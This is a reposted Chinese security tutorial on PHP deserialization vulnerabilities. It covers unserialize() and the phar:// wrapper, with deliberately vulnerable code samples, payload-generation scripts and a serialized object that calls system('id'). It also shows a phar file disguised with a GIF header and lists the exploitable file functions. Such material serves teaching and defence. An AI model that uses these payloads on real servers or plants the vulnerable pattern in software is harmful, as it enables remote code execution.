php反序列化漏洞

栏目: PHP · 发布时间: 6年前

内容简介:作者:lp原文地址:https://secvul.com/topics/1306.html反序列化漏洞产生原因之一是在destruct()、wakeup()方法中使用了危险函数:

作者:lp

原文地址:https://secvul.com/topics/1306.html

php反序列化漏洞:unserialize();phar伪协议

魔术方法

反序列化漏洞产生原因之一是在destruct()、wakeup()方法中使用了危险函数:

  • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

    析构函数__destruct():当对象被销毁时会自动调用。

    __wakeup() :unserialize()时会自动调用。

unserialize()触发

存在漏洞代码:

<?php
class test{
function __wakeup(){
$p = $this->m;
$q = $this->code;
$p($q);
}
}
$a = getenv('HTTP_TEST');
$b = unserialize($a);
?>

生成payload代码:

<?php
class test{
var $code;
var $m;
function __construct($code, $m){
$this->code = $code;
$this->m = $m;
}
}
$a = new test('id', 'system');
echo serialize($a);
?>

生成payload为:

O:4:"test":2:{s:4:"code";s:2:"id";s:1:"m";s:6:"system";}

执行效果:

php反序列化漏洞

phar伪协议触发

利用条件:

  • phar文件要能够上传到服务器端

    要有可用的魔术方法作为“跳板”

    文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

可利用的文件操作函数:

fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize

file_get_contents('phar://phar.phar/test.txt')

上述代码会自动进行反序列化操作

存在漏洞代码:

<?php
class test{
function __wakeup(){
$p = $this->m;
$q = $this->code;
$p($q);
}
}
$a = getenv('HTTP_TEST');
$b = file_get_contents($a);
?>

生成payload代码:

<?php
class test{
var $code;
var $m;
function __construct($code, $m){
$this->code = $code;
$this->m = $m;
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型
$o = new test('id','system');//反序列对象
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

注意:要生成phar文件,需要设置php.ini phar.readonly配置项为Off

php反序列化漏洞

执行效果:

php反序列化漏洞


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数据结构C++语言描述

数据结构C++语言描述

William Ford,William Topp / 刘卫东 沈官林 / 清华大学出版社 / 1999-09-01 / 58.00

一起来看看 《数据结构C++语言描述》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

MD5 加密
MD5 加密

MD5 加密工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具